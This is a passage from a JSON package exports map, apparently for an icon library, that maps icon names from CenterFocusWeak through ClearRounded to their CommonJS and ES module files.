  \"default\": \"./CenterFocusWeak.mjs\"\n    },\n    \"./CenterFocusWeakOutlined\": {\n      \"require\": \"./CenterFocusWeakOutlined.js\",\n      \"import\": \"./CenterFocusWeakOutlined.mjs\",\n      \"default\": \"./CenterFocusWeakOutlined.mjs\"\n    },\n    \"./CenterFocusWeakRounded\": {\n      \"import\": \"./CenterFocusWeakRounded.mjs\",\n      \"require\": \"./CenterFocusWeakRounded.js\",\n      \"default\": \"./CenterFocusWeakRounded.mjs\"\n    },\n    \"./CenterFocusWeakSharp\": {\n      \"import\": \"./CenterFocusWeakSharp.mjs\",\n      \"require\": \"./CenterFocusWeakSharp.js\",\n      \"default\": \"./CenterFocusWeakSharp.mjs\"\n    },\n    \"./CenterFocusWeakTwoTone\": {\n      \"import\": \"./CenterFocusWeakTwoTone.mjs\",\n      \"require\": \"./CenterFocusWeakTwoTone.js\",\n      \"default\": \"./CenterFocusWeakTwoTone.mjs\"\n    },\n    \"./Chair\": {\n      \"import\": \"./Chair.mjs\",\n      \"require\": \"./Chair.js\",\n      \"default\": \"./Chair.mjs\"\n    },\n    \"./ChairAlt\": {\n      \"import\": \"./ChairAlt.mjs\",\n      \"require\": \"./ChairAlt.js\",\n      \"default\": \"./ChairAlt.mjs\"\n    },\n    \"./ChairAltOutlined\": {\n      \"import\": \"./ChairAltOutlined.mjs\",\n      \"require\": \"./ChairAltOutlined.js\",\n      \"default\": \"./ChairAltOutlined.mjs\"\n    },\n    \"./ChairAltRounded\": {\n      \"import\": \"./ChairAltRounded.mjs\",\n      \"require\": \"./ChairAltRounded.js\",\n      \"default\": \"./ChairAltRounded.mjs\"\n    },\n    \"./ChairAltSharp\": {\n      \"import\": \"./ChairAltSharp.mjs\",\n      \"require\": \"./ChairAltSharp.js\",\n      \"default\": \"./ChairAltSharp.mjs\"\n    },\n    \"./ChairAltTwoTone\": {\n      \"import\": \"./ChairAltTwoTone.mjs\",\n      \"require\": \"./ChairAltTwoTone.js\",\n      \"default\": \"./ChairAltTwoTone.mjs\"\n    },\n    \"./ChairOutlined\": {\n      \"import\": \"./ChairOutlined.mjs\",\n      \"require\": \"./ChairOutlined.js\",\n      \"default\": \"./ChairOutlined.mjs\"\n    },\n    \"./ChairRounded\": {\n      \"require\": \"./ChairRounded.js\",\n      \"import\": \"./ChairRounded.mjs\",\n      \"default\": \"./ChairRounded.mjs\"\n    },\n    \"./ChairSharp\": {\n      \"require\": \"./ChairSharp.js\",\n      \"import\": \"./ChairSharp.mjs\",\n      \"default\": \"./ChairSharp.mjs\"\n    },\n    \"./ChairTwoTone\": {\n      \"require\": \"./ChairTwoTone.js\",\n      \"import\": \"./ChairTwoTone.mjs\",\n      \"default\": \"./ChairTwoTone.mjs\"\n    },\n    \"./Chalet\": {\n      \"import\": \"./Chalet.mjs\",\n      \"require\": \"./Chalet.js\",\n      \"default\": \"./Chalet.mjs\"\n    },\n    \"./ChaletOutlined\": {\n      \"import\": \"./ChaletOutlined.mjs\",\n      \"require\": \"./ChaletOutlined.js\",\n      \"default\": \"./ChaletOutlined.mjs\"\n    },\n    \"./ChaletRounded\": {\n      \"import\": \"./ChaletRounded.mjs\",\n      \"require\": \"./ChaletRounded.js\",\n      \"default\": \"./ChaletRounded.mjs\"\n    },\n    \"./ChaletSharp\": {\n      \"import\": \"./ChaletSharp.mjs\",\n      \"require\": \"./ChaletSharp.js\",\n      \"default\": \"./ChaletSharp.mjs\"\n    },\n    \"./ChaletTwoTone\": {\n      \"import\": \"./ChaletTwoTone.mjs\",\n      \"require\": \"./ChaletTwoTone.js\",\n      \"default\": \"./ChaletTwoTone.mjs\"\n    },\n    \"./ChangeCircle\": {\n      \"import\": \"./ChangeCircle.mjs\",\n      \"require\": \"./ChangeCircle.js\",\n      \"default\": \"./ChangeCircle.mjs\"\n    },\n    \"./ChangeCircleOutlined\": {\n      \"import\": \"./ChangeCircleOutlined.mjs\",\n      \"require\": \"./ChangeCircleOutlined.js\",\n      \"default\": \"./ChangeCircleOutlined.mjs\"\n    },\n    \"./ChangeCircleRounded\": {\n      \"import\": \"./ChangeCircleRounded.mjs\",\n      \"require\": \"./ChangeCircleRounded.js\",\n      \"default\": \"./ChangeCircleRounded.mjs\"\n    },\n    \"./ChangeCircleSharp\": {\n      \"import\": \"./ChangeCircleSharp.mjs\",\n      \"require\": \"./ChangeCircleSharp.js\",\n      \"default\": \"./ChangeCircleSharp.mjs\"\n    },\n    \"./ChangeCircleTwoTone\": {\n      \"import\": \"./ChangeCircleTwoTone.mjs\",\n      \"require\": \"./ChangeCircleTwoTone.js\",\n      \"default\": \"./ChangeCircleTwoTone.mjs\"\n    },\n    \"./ChangeHistory\": {\n      \"import\": \"./ChangeHistory.mjs\",\n      \"require\": \"./ChangeHistory.js\",\n      \"default\": \"./ChangeHistory.mjs\"\n    },\n    \"./ChangeHistoryOutlined\": {\n      \"import\": \"./ChangeHistoryOutlined.mjs\",\n      \"require\": \"./ChangeHistoryOutlined.js\",\n      \"default\": \"./ChangeHistoryOutlined.mjs\"\n    },\n    \"./ChangeHistoryRounded\": {\n      \"import\": \"./ChangeHistoryRounded.mjs\",\n      \"require\": \"./ChangeHistoryRounded.js\",\n      \"default\": \"./ChangeHistoryRounded.mjs\"\n    },\n    \"./ChangeHistorySharp\": {\n      \"import\": \"./ChangeHistorySharp.mjs\",\n      \"require\": \"./ChangeHistorySharp.js\",\n      \"default\": \"./ChangeHistorySharp.mjs\"\n    },\n    \"./ChangeHistoryTwoTone\": {\n      \"require\": \"./ChangeHistoryTwoTone.js\",\n      \"import\": \"./ChangeHistoryTwoTone.mjs\",\n      \"default\": \"./ChangeHistoryTwoTone.mjs\"\n    },\n    \"./ChargingStation\": {\n      \"require\": \"./ChargingStation.js\",\n      \"import\": \"./ChargingStation.mjs\",\n      \"default\": \"./ChargingStation.mjs\"\n    },\n    \"./ChargingStationOutlined\": {\n      \"require\": \"./ChargingStationOutlined.js\",\n      \"import\": \"./ChargingStationOutlined.mjs\",\n      \"default\": \"./ChargingStationOutlined.mjs\"\n    },\n    \"./ChargingStationRounded\": {\n      \"require\": \"./ChargingStationRounded.js\",\n      \"import\": \"./ChargingStationRounded.mjs\",\n      \"default\": \"./ChargingStationRounded.mjs\"\n    },\n    \"./ChargingStationSharp\": {\n      \"require\": \"./ChargingStationSharp.js\",\n      \"import\": \"./ChargingStationSharp.mjs\",\n      \"default\": \"./ChargingStationSharp.mjs\"\n    },\n    \"./ChargingStationTwoTone\": {\n      \"require\": \"./ChargingStationTwoTone.js\",\n      \"import\": \"./ChargingStationTwoTone.mjs\",\n      \"default\": \"./ChargingStationTwoTone.mjs\"\n    },\n    \"./Chat\": {\n      \"require\": \"./Chat.js\",\n      \"import\": \"./Chat.mjs\",\n      \"default\": \"./Chat.mjs\"\n    },\n    \"./ChatBubble\": {\n      \"require\": \"./ChatBubble.js\",\n      \"import\": \"./ChatBubble.mjs\",\n      \"default\": \"./ChatBubble.mjs\"\n    },\n    \"./ChatBubbleOutline\": {\n      \"require\": \"./ChatBubbleOutline.js\",\n      \"import\": \"./ChatBubbleOutline.mjs\",\n      \"default\": \"./ChatBubbleOutline.mjs\"\n    },\n    \"./ChatBubbleOutlineOutlined\": {\n      \"require\": \"./ChatBubbleOutlineOutlined.js\",\n      \"import\": \"./ChatBubbleOutlineOutlined.mjs\",\n      \"default\": \"./ChatBubbleOutlineOutlined.mjs\"\n    },\n    \"./ChatBubbleOutlineRounded\": {\n      \"require\": \"./ChatBubbleOutlineRounded.js\",\n      \"import\": \"./ChatBubbleOutlineRounded.mjs\",\n      \"default\": \"./ChatBubbleOutlineRounded.mjs\"\n    },\n    \"./ChatBubbleOutlineSharp\": {\n      \"require\": \"./ChatBubbleOutlineSharp.js\",\n      \"import\": \"./ChatBubbleOutlineSharp.mjs\",\n      \"default\": \"./ChatBubbleOutlineSharp.mjs\"\n    },\n    \"./ChatBubbleOutlineTwoTone\": {\n      \"require\": \"./ChatBubbleOutlineTwoTone.js\",\n      \"import\": \"./ChatBubbleOutlineTwoTone.mjs\",\n      \"default\": \"./ChatBubbleOutlineTwoTone.mjs\"\n    },\n    \"./ChatBubbleOutlined\": {\n      \"require\": \"./ChatBubbleOutlined.js\",\n      \"import\": \"./ChatBubbleOutlined.mjs\",\n      \"default\": \"./ChatBubbleOutlined.mjs\"\n    },\n    \"./ChatBubbleRounded\": {\n      \"require\": \"./ChatBubbleRounded.js\",\n      \"import\": \"./ChatBubbleRounded.mjs\",\n      \"default\": \"./ChatBubbleRounded.mjs\"\n    },\n    \"./ChatBubbleSharp\": {\n      \"require\": \"./ChatBubbleSharp.js\",\n      \"import\": \"./ChatBubbleSharp.mjs\",\n      \"default\": \"./ChatBubbleSharp.mjs\"\n    },\n    \"./ChatBubbleTwoTone\": {\n      \"require\": \"./ChatBubbleTwoTone.js\",\n      \"import\": \"./ChatBubbleTwoTone.mjs\",\n      \"default\": \"./ChatBubbleTwoTone.mjs\"\n    },\n    \"./ChatOutlined\": {\n      \"require\": \"./ChatOutlined.js\",\n      \"import\": \"./ChatOutlined.mjs\",\n      \"default\": \"./ChatOutlined.mjs\"\n    },\n    \"./ChatRounded\": {\n      \"require\": \"./ChatRounded.js\",\n      \"import\": \"./ChatRounded.mjs\",\n      \"default\": \"./ChatRounded.mjs\"\n    },\n    \"./ChatSharp\": {\n      \"require\": \"./ChatSharp.js\",\n      \"import\": \"./ChatSharp.mjs\",\n      \"default\": \"./ChatSharp.mjs\"\n    },\n    \"./ChatTwoTone\": {\n      \"import\": \"./ChatTwoTone.mjs\",\n      \"require\": \"./ChatTwoTone.js\",\n      \"default\": \"./ChatTwoTone.mjs\"\n    },\n    \"./Check\": {\n      \"require\": \"./Check.js\",\n      \"import\": \"./Check.mjs\",\n      \"default\": \"./Check.mjs\"\n    },\n    \"./CheckBox\": {\n      \"require\": \"./CheckBox.js\",\n      \"import\": \"./CheckBox.mjs\",\n      \"default\": \"./CheckBox.mjs\"\n    },\n    \"./CheckBoxOutlineBlank\": {\n      \"require\": \"./CheckBoxOutlineBlank.js\",\n      \"import\": \"./CheckBoxOutlineBlank.mjs\",\n      \"default\": \"./CheckBoxOutlineBlank.mjs\"\n    },\n    \"./CheckBoxOutlineBlankOutlined\": {\n      \"require\": \"./CheckBoxOutlineBlankOutlined.js\",\n      \"import\": \"./CheckBoxOutlineBlankOutlined.mjs\",\n      \"default\": \"./CheckBoxOutlineBlankOutlined.mjs\"\n    },\n    \"./CheckBoxOutlineBlankRounded\": {\n      \"require\": \"./CheckBoxOutlineBlankRounded.js\",\n      \"import\": \"./CheckBoxOutlineBlankRounded.mjs\",\n      \"default\": \"./CheckBoxOutlineBlankRounded.mjs\"\n    },\n    \"./CheckBoxOutlineBlankSharp\": {\n      \"require\": \"./CheckBoxOutlineBlankSharp.js\",\n      \"import\": \"./CheckBoxOutlineBlankSharp.mjs\",\n      \"default\": \"./CheckBoxOutlineBlankSharp.mjs\"\n    },\n    \"./CheckBoxOutlineBlankTwoTone\": {\n      \"require\": \"./CheckBoxOutlineBlankTwoTone.js\",\n      \"import\": \"./CheckBoxOutlineBlankTwoTone.mjs\",\n      \"default\": \"./CheckBoxOutlineBlankTwoTone.mjs\"\n    },\n    \"./CheckBoxOutlined\": {\n      \"require\": \"./CheckBoxOutlined.js\",\n      \"import\": \"./CheckBoxOutlined.mjs\",\n      \"default\": \"./CheckBoxOutlined.mjs\"\n    },\n    \"./CheckBoxRounded\": {\n      \"import\": \"./CheckBoxRounded.mjs\",\n      \"require\": \"./CheckBoxRounded.js\",\n      \"default\": \"./CheckBoxRounded.mjs\"\n    },\n    \"./CheckBoxSharp\": {\n      \"import\": \"./CheckBoxSharp.mjs\",\n      \"require\": \"./CheckBoxSharp.js\",\n      \"default\": \"./CheckBoxSharp.mjs\"\n    },\n    \"./CheckBoxTwoTone\": {\n      \"import\": \"./CheckBoxTwoTone.mjs\",\n      \"require\": \"./CheckBoxTwoTone.js\",\n      \"default\": \"./CheckBoxTwoTone.mjs\"\n    },\n    \"./CheckCircle\": {\n      \"import\": \"./CheckCircle.mjs\",\n      \"require\": \"./CheckCircle.js\",\n      \"default\": \"./CheckCircle.mjs\"\n    },\n    \"./CheckCircleOutline\": {\n      \"require\": \"./CheckCircleOutline.js\",\n      \"import\": \"./CheckCircleOutline.mjs\",\n      \"default\": \"./CheckCircleOutline.mjs\"\n    },\n    \"./CheckCircleOutlineOutlined\": {\n      \"require\": \"./CheckCircleOutlineOutlined.js\",\n      \"import\": \"./CheckCircleOutlineOutlined.mjs\",\n      \"default\": \"./CheckCircleOutlineOutlined.mjs\"\n    },\n    \"./CheckCircleOutlineRounded\": {\n      \"require\": \"./CheckCircleOutlineRounded.js\",\n      \"import\": \"./CheckCircleOutlineRounded.mjs\",\n      \"default\": \"./CheckCircleOutlineRounded.mjs\"\n    },\n    \"./CheckCircleOutlineSharp\": {\n      \"require\": \"./CheckCircleOutlineSharp.js\",\n      \"import\": \"./CheckCircleOutlineSharp.mjs\",\n      \"default\": \"./CheckCircleOutlineSharp.mjs\"\n    },\n    \"./CheckCircleOutlineTwoTone\": {\n      \"import\": \"./CheckCircleOutlineTwoTone.mjs\",\n      \"require\": \"./CheckCircleOutlineTwoTone.js\",\n      \"default\": \"./CheckCircleOutlineTwoTone.mjs\"\n    },\n    \"./CheckCircleOutlined\": {\n      \"import\": \"./CheckCircleOutlined.mjs\",\n      \"require\": \"./CheckCircleOutlined.js\",\n      \"default\": \"./CheckCircleOutlined.mjs\"\n    },\n    \"./CheckCircleRounded\": {\n      \"import\": \"./CheckCircleRounded.mjs\",\n      \"require\": \"./CheckCircleRounded.js\",\n      \"default\": \"./CheckCircleRounded.mjs\"\n    },\n    \"./CheckCircleSharp\": {\n      \"import\": \"./CheckCircleSharp.mjs\",\n      \"require\": \"./CheckCircleSharp.js\",\n      \"default\": \"./CheckCircleSharp.mjs\"\n    },\n    \"./CheckCircleTwoTone\": {\n      \"import\": \"./CheckCircleTwoTone.mjs\",\n      \"require\": \"./CheckCircleTwoTone.js\",\n      \"default\": \"./CheckCircleTwoTone.mjs\"\n    },\n    \"./CheckOutlined\": {\n      \"import\": \"./CheckOutlined.mjs\",\n      \"require\": \"./CheckOutlined.js\",\n      \"default\": \"./CheckOutlined.mjs\"\n    },\n    \"./CheckRounded\": {\n      \"import\": \"./CheckRounded.mjs\",\n      \"require\": \"./CheckRounded.js\",\n      \"default\": \"./CheckRounded.mjs\"\n    },\n    \"./CheckSharp\": {\n      \"import\": \"./CheckSharp.mjs\",\n      \"require\": \"./CheckSharp.js\",\n      \"default\": \"./CheckSharp.mjs\"\n    },\n    \"./CheckTwoTone\": {\n      \"import\": \"./CheckTwoTone.mjs\",\n      \"require\": \"./CheckTwoTone.js\",\n      \"default\": \"./CheckTwoTone.mjs\"\n    },\n    \"./Checklist\": {\n      \"import\": \"./Checklist.mjs\",\n      \"require\": \"./Checklist.js\",\n      \"default\": \"./Checklist.mjs\"\n    },\n    \"./ChecklistOutlined\": {\n      \"import\": \"./ChecklistOutlined.mjs\",\n      \"require\": \"./ChecklistOutlined.js\",\n      \"default\": \"./ChecklistOutlined.mjs\"\n    },\n    \"./ChecklistRounded\": {\n      \"import\": \"./ChecklistRounded.mjs\",\n      \"require\": \"./ChecklistRounded.js\",\n      \"default\": \"./ChecklistRounded.mjs\"\n    },\n    \"./ChecklistRtl\": {\n      \"import\": \"./ChecklistRtl.mjs\",\n      \"require\": \"./ChecklistRtl.js\",\n      \"default\": \"./ChecklistRtl.mjs\"\n    },\n    \"./ChecklistRtlOutlined\": {\n      \"import\": \"./ChecklistRtlOutlined.mjs\",\n      \"require\": \"./ChecklistRtlOutlined.js\",\n      \"default\": \"./ChecklistRtlOutlined.mjs\"\n    },\n    \"./ChecklistRtlRounded\": {\n      \"import\": \"./ChecklistRtlRounded.mjs\",\n      \"require\": \"./ChecklistRtlRounded.js\",\n      \"default\": \"./ChecklistRtlRounded.mjs\"\n    },\n    \"./ChecklistRtlSharp\": {\n      \"import\": \"./ChecklistRtlSharp.mjs\",\n      \"require\": \"./ChecklistRtlSharp.js\",\n      \"default\": \"./ChecklistRtlSharp.mjs\"\n    },\n    \"./ChecklistRtlTwoTone\": {\n      \"import\": \"./ChecklistRtlTwoTone.mjs\",\n      \"require\": \"./ChecklistRtlTwoTone.js\",\n      \"default\": \"./ChecklistRtlTwoTone.mjs\"\n    },\n    \"./ChecklistSharp\": {\n      \"import\": \"./ChecklistSharp.mjs\",\n      \"require\": \"./ChecklistSharp.js\",\n      \"default\": \"./ChecklistSharp.mjs\"\n    },\n    \"./ChecklistTwoTone\": {\n      \"import\": \"./ChecklistTwoTone.mjs\",\n      \"require\": \"./ChecklistTwoTone.js\",\n      \"default\": \"./ChecklistTwoTone.mjs\"\n    },\n    \"./Checkroom\": {\n      \"import\": \"./Checkroom.mjs\",\n      \"require\": \"./Checkroom.js\",\n      \"default\": \"./Checkroom.mjs\"\n    },\n    \"./CheckroomOutlined\": {\n      \"require\": \"./CheckroomOutlined.js\",\n      \"import\": \"./CheckroomOutlined.mjs\",\n      \"default\": \"./CheckroomOutlined.mjs\"\n    },\n    \"./CheckroomRounded\": {\n      \"require\": \"./CheckroomRounded.js\",\n      \"import\": \"./CheckroomRounded.mjs\",\n      \"default\": \"./CheckroomRounded.mjs\"\n    },\n    \"./CheckroomSharp\": {\n      \"require\": \"./CheckroomSharp.js\",\n      \"import\": \"./CheckroomSharp.mjs\",\n      \"default\": \"./CheckroomSharp.mjs\"\n    },\n    \"./CheckroomTwoTone\": {\n      \"require\": \"./CheckroomTwoTone.js\",\n      \"import\": \"./CheckroomTwoTone.mjs\",\n      \"default\": \"./CheckroomTwoTone.mjs\"\n    },\n    \"./ChevronLeft\": {\n      \"require\": \"./ChevronLeft.js\",\n      \"import\": \"./ChevronLeft.mjs\",\n      \"default\": \"./ChevronLeft.mjs\"\n    },\n    \"./ChevronLeftOutlined\": {\n      \"require\": \"./ChevronLeftOutlined.js\",\n      \"import\": \"./ChevronLeftOutlined.mjs\",\n      \"default\": \"./ChevronLeftOutlined.mjs\"\n    },\n    \"./ChevronLeftRounded\": {\n      \"require\": \"./ChevronLeftRounded.js\",\n      \"import\": \"./ChevronLeftRounded.mjs\",\n      \"default\": \"./ChevronLeftRounded.mjs\"\n    },\n    \"./ChevronLeftSharp\": {\n      \"require\": \"./ChevronLeftSharp.js\",\n      \"import\": \"./ChevronLeftSharp.mjs\",\n      \"default\": \"./ChevronLeftSharp.mjs\"\n    },\n    \"./ChevronLeftTwoTone\": {\n      \"require\": \"./ChevronLeftTwoTone.js\",\n      \"import\": \"./ChevronLeftTwoTone.mjs\",\n      \"default\": \"./ChevronLeftTwoTone.mjs\"\n    },\n    \"./ChevronRight\": {\n      \"require\": \"./ChevronRight.js\",\n      \"import\": \"./ChevronRight.mjs\",\n      \"default\": \"./ChevronRight.mjs\"\n    },\n    \"./ChevronRightOutlined\": {\n      \"require\": \"./ChevronRightOutlined.js\",\n      \"import\": \"./ChevronRightOutlined.mjs\",\n      \"default\": \"./ChevronRightOutlined.mjs\"\n    },\n    \"./ChevronRightRounded\": {\n      \"require\": \"./ChevronRightRounded.js\",\n      \"import\": \"./ChevronRightRounded.mjs\",\n      \"default\": \"./ChevronRightRounded.mjs\"\n    },\n    \"./ChevronRightSharp\": {\n      \"require\": \"./ChevronRightSharp.js\",\n      \"import\": \"./ChevronRightSharp.mjs\",\n      \"default\": \"./ChevronRightSharp.mjs\"\n    },\n    \"./ChevronRightTwoTone\": {\n      \"require\": \"./ChevronRightTwoTone.js\",\n      \"import\": \"./ChevronRightTwoTone.mjs\",\n      \"default\": \"./ChevronRightTwoTone.mjs\"\n    },\n    \"./ChildCare\": {\n      \"require\": \"./ChildCare.js\",\n      \"import\": \"./ChildCare.mjs\",\n      \"default\": \"./ChildCare.mjs\"\n    },\n    \"./ChildCareOutlined\": {\n      \"require\": \"./ChildCareOutlined.js\",\n      \"import\": \"./ChildCareOutlined.mjs\",\n      \"default\": \"./ChildCareOutlined.mjs\"\n    },\n    \"./ChildCareRounded\": {\n      \"require\": \"./ChildCareRounded.js\",\n      \"import\": \"./ChildCareRounded.mjs\",\n      \"default\": \"./ChildCareRounded.mjs\"\n    },\n    \"./ChildCareSharp\": {\n      \"require\": \"./ChildCareSharp.js\",\n      \"import\": \"./ChildCareSharp.mjs\",\n      \"default\": \"./ChildCareSharp.mjs\"\n    },\n    \"./ChildCareTwoTone\": {\n      \"import\": \"./ChildCareTwoTone.mjs\",\n      \"require\": \"./ChildCareTwoTone.js\",\n      \"default\": \"./ChildCareTwoTone.mjs\"\n    },\n    \"./ChildFriendly\": {\n      \"import\": \"./ChildFriendly.mjs\",\n      \"require\": \"./ChildFriendly.js\",\n      \"default\": \"./ChildFriendly.mjs\"\n    },\n    \"./ChildFriendlyOutlined\": {\n      \"import\": \"./ChildFriendlyOutlined.mjs\",\n      \"require\": \"./ChildFriendlyOutlined.js\",\n      \"default\": \"./ChildFriendlyOutlined.mjs\"\n    },\n    \"./ChildFriendlyRounded\": {\n      \"import\": \"./ChildFriendlyRounded.mjs\",\n      \"require\": \"./ChildFriendlyRounded.js\",\n      \"default\": \"./ChildFriendlyRounded.mjs\"\n    },\n    \"./ChildFriendlySharp\": {\n      \"import\": \"./ChildFriendlySharp.mjs\",\n      \"require\": \"./ChildFriendlySharp.js\",\n      \"default\": \"./ChildFriendlySharp.mjs\"\n    },\n    \"./ChildFriendlyTwoTone\": {\n      \"import\": \"./ChildFriendlyTwoTone.mjs\",\n      \"require\": \"./ChildFriendlyTwoTone.js\",\n      \"default\": \"./ChildFriendlyTwoTone.mjs\"\n    },\n    \"./ChromeReaderMode\": {\n      \"import\": \"./ChromeReaderMode.mjs\",\n      \"require\": \"./ChromeReaderMode.js\",\n      \"default\": \"./ChromeReaderMode.mjs\"\n    },\n    \"./ChromeReaderModeOutlined\": {\n      \"import\": \"./ChromeReaderModeOutlined.mjs\",\n      \"require\": \"./ChromeReaderModeOutlined.js\",\n      \"default\": \"./ChromeReaderModeOutlined.mjs\"\n    },\n    \"./ChromeReaderModeRounded\": {\n      \"import\": \"./ChromeReaderModeRounded.mjs\",\n      \"require\": \"./ChromeReaderModeRounded.js\",\n      \"default\": \"./ChromeReaderModeRounded.mjs\"\n    },\n    \"./ChromeReaderModeSharp\": {\n      \"import\": \"./ChromeReaderModeSharp.mjs\",\n      \"require\": \"./ChromeReaderModeSharp.js\",\n      \"default\": \"./ChromeReaderModeSharp.mjs\"\n    },\n    \"./ChromeReaderModeTwoTone\": {\n      \"import\": \"./ChromeReaderModeTwoTone.mjs\",\n      \"require\": \"./ChromeReaderModeTwoTone.js\",\n      \"default\": \"./ChromeReaderModeTwoTone.mjs\"\n    },\n    \"./Church\": {\n      \"import\": \"./Church.mjs\",\n      \"require\": \"./Church.js\",\n      \"default\": \"./Church.mjs\"\n    },\n    \"./ChurchOutlined\": {\n      \"import\": \"./ChurchOutlined.mjs\",\n      \"require\": \"./ChurchOutlined.js\",\n      \"default\": \"./ChurchOutlined.mjs\"\n    },\n    \"./ChurchRounded\": {\n      \"import\": \"./ChurchRounded.mjs\",\n      \"require\": \"./ChurchRounded.js\",\n      \"default\": \"./ChurchRounded.mjs\"\n    },\n    \"./ChurchSharp\": {\n      \"import\": \"./ChurchSharp.mjs\",\n      \"require\": \"./ChurchSharp.js\",\n      \"default\": \"./ChurchSharp.mjs\"\n    },\n    \"./ChurchTwoTone\": {\n      \"import\": \"./ChurchTwoTone.mjs\",\n      \"require\": \"./ChurchTwoTone.js\",\n      \"default\": \"./ChurchTwoTone.mjs\"\n    },\n    \"./Circle\": {\n      \"import\": \"./Circle.mjs\",\n      \"require\": \"./Circle.js\",\n      \"default\": \"./Circle.mjs\"\n    },\n    \"./CircleNotifications\": {\n      \"import\": \"./CircleNotifications.mjs\",\n      \"require\": \"./CircleNotifications.js\",\n      \"default\": \"./CircleNotifications.mjs\"\n    },\n    \"./CircleNotificationsOutlined\": {\n      \"import\": \"./CircleNotificationsOutlined.mjs\",\n      \"require\": \"./CircleNotificationsOutlined.js\",\n      \"default\": \"./CircleNotificationsOutlined.mjs\"\n    },\n    \"./CircleNotificationsRounded\": {\n      \"import\": \"./CircleNotificationsRounded.mjs\",\n      \"require\": \"./CircleNotificationsRounded.js\",\n      \"default\": \"./CircleNotificationsRounded.mjs\"\n    },\n    \"./CircleNotificationsSharp\": {\n      \"require\": \"./CircleNotificationsSharp.js\",\n      \"import\": \"./CircleNotificationsSharp.mjs\",\n      \"default\": \"./CircleNotificationsSharp.mjs\"\n    },\n    \"./CircleNotificationsTwoTone\": {\n      \"require\": \"./CircleNotificationsTwoTone.js\",\n      \"import\": \"./CircleNotificationsTwoTone.mjs\",\n      \"default\": \"./CircleNotificationsTwoTone.mjs\"\n    },\n    \"./CircleOutlined\": {\n      \"require\": \"./CircleOutlined.js\",\n      \"import\": \"./CircleOutlined.mjs\",\n      \"default\": \"./CircleOutlined.mjs\"\n    },\n    \"./CircleRounded\": {\n      \"import\": \"./CircleRounded.mjs\",\n      \"require\": \"./CircleRounded.js\",\n      \"default\": \"./CircleRounded.mjs\"\n    },\n    \"./CircleSharp\": {\n      \"import\": \"./CircleSharp.mjs\",\n      \"require\": \"./CircleSharp.js\",\n      \"default\": \"./CircleSharp.mjs\"\n    },\n    \"./CircleTwoTone\": {\n      \"import\": \"./CircleTwoTone.mjs\",\n      \"require\": \"./CircleTwoTone.js\",\n      \"default\": \"./CircleTwoTone.mjs\"\n    },\n    \"./Class\": {\n      \"import\": \"./Class.mjs\",\n      \"require\": \"./Class.js\",\n      \"default\": \"./Class.mjs\"\n    },\n    \"./ClassOutlined\": {\n      \"import\": \"./ClassOutlined.mjs\",\n      \"require\": \"./ClassOutlined.js\",\n      \"default\": \"./ClassOutlined.mjs\"\n    },\n    \"./ClassRounded\": {\n      \"import\": \"./ClassRounded.mjs\",\n      \"require\": \"./ClassRounded.js\",\n      \"default\": \"./ClassRounded.mjs\"\n    },\n    \"./ClassSharp\": {\n      \"import\": \"./ClassSharp.mjs\",\n      \"require\": \"./ClassSharp.js\",\n      \"default\": \"./ClassSharp.mjs\"\n    },\n    \"./ClassTwoTone\": {\n      \"import\": \"./ClassTwoTone.mjs\",\n      \"require\": \"./ClassTwoTone.js\",\n      \"default\": \"./ClassTwoTone.mjs\"\n    },\n    \"./CleanHands\": {\n      \"import\": \"./CleanHands.mjs\",\n      \"require\": \"./CleanHands.js\",\n      \"default\": \"./CleanHands.mjs\"\n    },\n    \"./CleanHandsOutlined\": {\n      \"import\": \"./CleanHandsOutlined.mjs\",\n      \"require\": \"./CleanHandsOutlined.js\",\n      \"default\": \"./CleanHandsOutlined.mjs\"\n    },\n    \"./CleanHandsRounded\": {\n      \"require\": \"./CleanHandsRounded.js\",\n      \"import\": \"./CleanHandsRounded.mjs\",\n      \"default\": \"./CleanHandsRounded.mjs\"\n    },\n    \"./CleanHandsSharp\": {\n      \"require\": \"./CleanHandsSharp.js\",\n      \"import\": \"./CleanHandsSharp.mjs\",\n      \"default\": \"./CleanHandsSharp.mjs\"\n    },\n    \"./CleanHandsTwoTone\": {\n      \"require\": \"./CleanHandsTwoTone.js\",\n      \"import\": \"./CleanHandsTwoTone.mjs\",\n      \"default\": \"./CleanHandsTwoTone.mjs\"\n    },\n    \"./CleaningServices\": {\n      \"require\": \"./CleaningServices.js\",\n      \"import\": \"./CleaningServices.mjs\",\n      \"default\": \"./CleaningServices.mjs\"\n    },\n    \"./CleaningServicesOutlined\": {\n      \"require\": \"./CleaningServicesOutlined.js\",\n      \"import\": \"./CleaningServicesOutlined.mjs\",\n      \"default\": \"./CleaningServicesOutlined.mjs\"\n    },\n    \"./CleaningServicesRounded\": {\n      \"require\": \"./CleaningServicesRounded.js\",\n      \"import\": \"./CleaningServicesRounded.mjs\",\n      \"default\": \"./CleaningServicesRounded.mjs\"\n    },\n    \"./CleaningServicesSharp\": {\n      \"require\": \"./CleaningServicesSharp.js\",\n      \"import\": \"./CleaningServicesSharp.mjs\",\n      \"default\": \"./CleaningServicesSharp.mjs\"\n    },\n    \"./CleaningServicesTwoTone\": {\n      \"require\": \"./CleaningServicesTwoTone.js\",\n      \"import\": \"./CleaningServicesTwoTone.mjs\",\n      \"default\": \"./CleaningServicesTwoTone.mjs\"\n    },\n    \"./Clear\": {\n      \"require\": \"./Clear.js\",\n      \"import\": \"./Clear.mjs\",\n      \"default\": \"./Clear.mjs\"\n    },\n    \"./ClearAll\": {\n      \"require\": \"./ClearAll.js\",\n      \"import\": \"./ClearAll.mjs\",\n      \"default\": \"./ClearAll.mjs\"\n    },\n    \"./ClearAllOutlined\": {\n      \"require\": \"./ClearAllOutlined.js\",\n      \"import\": \"./ClearAllOutlined.mjs\",\n      \"default\": \"./ClearAllOutlined.mjs\"\n    },\n    \"./ClearAllRounded\": {\n      \"require\": \"./ClearAllRounded.js\",\n      \"import\": \"./ClearAllRounded.mjs\",\n      \"default\": \"./ClearAllRounded.mjs\"\n    },\n    \"./ClearAllSharp\": {\n      \"require\": \"./ClearAllSharp.js\",\n      \"import\": \"./ClearAllSharp.mjs\",\n      \"default\": \"./ClearAllSharp.mjs\"\n    },\n    \"./ClearAllTwoTone\": {\n      \"require\": \"./ClearAllTwoTone.js\",\n      \"import\": \"./ClearAllTwoTone.mjs\",\n      \"default\": \"./ClearAllTwoTone.mjs\"\n    },\n    \"./ClearOutlined\": {\n      \"require\": \"./ClearOutlined.js\",\n      \"import\": \"./ClearOutlined.mjs\",\n      \"default\": \"./ClearOutlined.mjs\"\n    },\n    \"./ClearRounded\": {\n      \"require\": \"./ClearRounded.js\",\n      \"import\": \"./ClearRounded.mjs\",\n      